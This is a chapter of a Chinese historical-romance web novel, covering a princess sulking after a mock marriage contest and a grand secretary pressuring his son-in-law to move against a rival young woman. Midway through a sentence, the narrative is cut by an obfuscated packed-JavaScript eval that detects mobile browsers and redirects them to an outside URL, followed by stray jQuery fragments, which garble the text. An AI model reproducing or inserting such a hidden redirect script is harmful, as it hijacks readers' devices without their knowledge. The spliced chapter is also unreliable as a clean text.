151.蟾宫折桂(九)

作品:《雁鸣京华

    江诗婉略有迟疑,他温暖而宽大的手覆盖在她冰凉的手上,给了她久违的力量。她还是有些矛盾的,不想让他牵扯进来,毕竟报仇这件事,如果让内阁的人知晓他站到自己这边,不仅会影响仕途之路,也会影响他们父子关系吧。


    外面下起了淅淅沥沥的雨,被困在凤阳阁的国安公主烦躁地扯开身上的被子,快速走下床榻。自打她在大理寺门口比武招亲过后,这个笑话就像是长了翅膀一般飞到了皇宫之中。每每遇到旁人丫鬟奴婢什么的,都会忍不住偷笑。


    她恨嫁的消息传遍了整个皇宫,害得她都不敢出门了,甚至连刚刚走马上任的阿婉,她都不敢去寻。


    身着白色中衣,挠了挠凌乱头发的国安公主慵懒走到桌前,为自己倒了杯茶后一饮而尽。她环顾一下四周,见伺候自己的宫女们都不在这里,不管她如何喊,屋内始终没有一点回应。


    国安公主已经闷在屋内整整三日了,再不出去她快像这天气一般发霉了。她双手叉腰来回在屋内打转,又没个人说话,她真的很烦躁。


    “苍天呐,大地啊,谁来陪本宫说说话。”她躺在椅子上,伸长双腿,抬头生无可恋地望着屋顶。


    突然她猛地站了起来,跑到衣柜里随便找了个衣裳套在了身上,然后又走向梳妆台,胡乱在脸上乱涂了几下,又用手替代梳子插了几下鸡窝头。


    她跑到门口透过缝隙见院子里未有人路过,只有淅淅沥沥的雨点砸在地面之上,开出了无数个水花,这些水花在水洼里冒出无数个泡泡。突然一阵微凉的风吹来,接连几日的雨水竟然让人产生阵阵寒意,国安公主把衣裳裹紧了一些,探出个脑袋向外张望着。


    “你要去哪里?”突然凭空闪现出一只宽大的手掌,一把将她按回到屋内。


    国安公主被吓了一跳,她赶紧重又关紧,刚开了条缝隙的门,只是来者比她手更快,一个瞬间整个手臂便抵住了两张快要合上的木门。


    “你想把朕夹死继承皇位吗?”


    听到熟悉的声音,国安公主急忙松开了手,尴尬站在原地。


    尚在门外的皇帝刘炟把撑起的雨伞又伸了进来,伞上留存的雨水顺着伞尖流下了地上,浸出了一大片水渍。陪他一起过来的公公们,弯腰站在外面耐心等待着。


    刘炟把伞依靠在门口,拍了拍溅在手上的水滴,缓缓走到她面前:“怎么这三日还未老实一点?比武选婿,亏你想得出来。”


    他抬眸白了她一眼,冷哼一声:“怎么?整个京城的男人都过去排队,甚至连成婚的都过去了,就没有一个看得上眼的?”


    国安公主虽然有些疯癫,但好赖话还是能听出来的,她知晓这个哥哥在讽刺她,便难过地低下头去。


    “不就是解除个婚约吗?至于把整个京城的男人全翻看一遍?这是谁出的主意,好可笑啊。”他双手背在身后,一顿讽刺和嘲笑。


    这时伺候她的三个宫女踉跄着跑了进来,个个惊慌失措,眼神露出惊慌的神色,陆续跪倒在地。


    “要你们照看好公主,你们照看到何处去了?你们去了何处?”


    “回陛下,这几日雨水太多,奴婢们闲来无事,便在书房摘抄《女训》。”


    “摘抄《女训》?是公主叫你们摘抄的?”


    跪在前头的宫女荷花赶紧向前移了移,偷看了一眼她,又急忙摇了摇头,“欸,回陛下,并没有。”


    皇帝刘炟回头仔细盯着国安公主,看着她躲闪的眼神,手忙脚乱吞吞吐吐的模样,便重重叹气一笑。“罢了,罢了,公主你撒不得慌,就不要逞强嘛。”


    “哥哥,你来这里是安慰我的,还是来看我笑话的?”


    “两个原因都有。”


    “你——”国安公主见他恢复了以往的伶牙俐齿,无可奈何地跺了跺了脚。“陛下,您就会和本宫耍贫嘴,这么厉害怎么不收拾收拾那帮把你气死的内阁官员呢?”


    “你——”皇帝刘炟被眼前这个妹妹气得差点晕倒,抬起的手颤颤巍巍指着她,却再也说不出一句完整的话。“你,你,你活该没人要你。”


    这句话可是直接击中了她心里的防线,国安公主顿时嚎啕大哭起来,外人看她笑话也便罢了,连自己的亲哥哥都这样嘲讽自己,她受得了。


    她冲了过来,疯狂捶打着当今圣上。皇帝刘炟见此毫不客气地躲开了,“是该让你吃点苦头了,都怪朕平时太过纵容你了,你看看你现在,为了那个司遥成了什么样子,难道除了他,整个大商就没有配得上你的男人了吗?天下男子那么多,你为何一直在一棵树上吊死嘛。”


    “有,有,本宫看上的是另一个男人。”她忍不住脱口而出。


    皇帝刘炟听到这话,顿时停下了脚步,转过身来:“这就对了嘛,是哪个男人让你春心芳动了,朕这就安排他进宫。”


    “此话当真?“


    “当真?”


    “是大理寺的人。”


    “又是大理寺的?你这是和大理寺的人杠上了是吧,说吧是哪个倒霉催的,又被你看上了?”


    国安公主见陛下追问起来,反而支支吾吾起来,之前她安排比武招亲大会就是为了气张田,她的诡计被江诗婉一眼看穿后,却依旧陪着自己硬着头皮把这场戏演完。


    她曾经劝诫和嘱咐过自己,他已经成了家,不能再犯错下去。如果搁以前,以她的性子非横刀夺爱不可,反正她身为公主,区区一个男人怎么会得不到?不知为何,这次她却把她的话听了进去,而且已经慢慢变得不再那么难受了。


    如今他的哥哥又旧事重提,趁着她心中怨气并没完全消散,便赌气说了出来。借机惩罚一下张田也好,看他还敢不敢对自己爱搭不理。


    “大理寺评事张田。”


    皇帝刘炟听后,略微沉思:“大理寺评事,朕记下了,如若你们两情相悦,他不管他出身如何,只要他知上进,朕会成全你们。”


    国安公主见自己的哥哥上钩,立即眉开眼笑。


    雨并没有要停的意思,裹挟着冷风直往人的脖子钻,刚刚下了马车的谢司珩,仰头望着被雨水浸湿的宫墙有些莫名的失落。雨丝依旧斜斜织落,朱红的宫墙却愈发的沉艳,屋檐下雨水成串砸向地面,令青石板下晕染的黑色印记更加明显。


    他已经很久没有来到皇宫了,国子监监丞


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16558238|168818||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一职在叶阁老的操作下,依旧为他保留着。今日进宫前来,叶阁老特意召他进宫有要事商议。


    在叶阁老手下的引领下,他来到了弘文殿。此处是他在宫内临时的办公区域,这里离文华殿极远,也只有当今首辅有这个待遇,而且这个殿还是先帝留给裕王的,后来被裕王赠与了叶阁老使用权。帝王与亲王不能同时在京,这也导致了叶阁老想要与裕王联系,只能通过信得过的人来传达信息。


    因这个问题,叶阁老伤透了脑筋,别人再怎么信得过,有些话也只能只言片语。今日他命自己的女婿前来,便是为了解决这个问题,顺便敲打下刚刚进宫的江家之女。


    谢司珩身着一身白带米黄暗纹衣裳,虽然比不上王宫大臣穿的气派,但别有一番韵味,最主要他长得文质彬彬,天生来有一种自带的气场,被叶家女儿看中完全是因他的颜值和气场。


    他缓缓走进殿内,见叶阁老正在书桌上处理着奏疏,便默不作声低头等一旁。


    叶阁老虽然虽然他进来,但依旧眼皮都未抬一下,疯狂咳嗽了两声:“知道为何把你叫到这里来吗?”他手里毛笔依旧未停。


    谢司珩摇了摇头:“下官不知。”


    “幼清盯你盯着太紧了,有些话不必让她听到。”


    空气一阵安静,他没有出声只是点了点头。


    “把你调到大理寺,让你紧紧跟着司遥和那个江家姑娘,这么久了,你除了破了两个不起眼的小案,重要的消息线索一个都没有提供给老夫,你到底是故意的,还是根本就没把这件事放在心上?”叶阁老抬起头,两只如鹰狠戾的眼睛缓缓移到奏疏的上方。


    谢司珩紧张地咽了下口水,他的背后一阵发凉,惊恐地擦了一下额头上的汗,“下官不敢。”他赶紧双手作揖解释道。“是司国安的儿子太过狡猾了,他又与那个江家之女整日纠缠在一起,根本没有机会下手。”


    “现在呢?现在他们分开了,而那江姑娘如今又成了皇太子刘昭的伴读,老夫究竟该要忍到何时才能把那姑娘千刀万剐。”叶重从桌上抓起一张纸狠狠攥成一团,花白的胡子因激动而来回颤抖。


    “老夫养你是为了让你吃干饭的吗?”


    他把这团纸用力扔到了谢司珩的额头上,眼神凶狠又愤怒,见他不语激动站起身来,“老夫已经老了,怎么能安心把叶家这么大家业放心交予你们。”


    见叶阁老向他靠近,谢司珩下意识向后退了一步后,又赶紧走上前去搀扶住他。这句话他已经听了千遍万遍,早就知晓是他故意以这个借口吊着自己,叶家这么大个势力为何要交给他一个外人,用脚指头想想也是不可能的事。他虽然不情不愿走上前去,甚至恨不得眼前的丈人爹立刻去死,他依旧眉头不皱一下伸手去扶。


    “回大人,下官让您失望了,不过,”谢司珩停顿了一声,“您的意思是让下官去找那江伴读麻烦?”


    叶阁老缓慢侧过头,突然狠狠打了他的头:“本官可没说啊。”


    谢司珩利落躲开了他的攻击,内心苦笑,他这老丈人说话言不由衷,做坏事还不想留下个坏名声。也只有他这个苦主知晓他这个心思。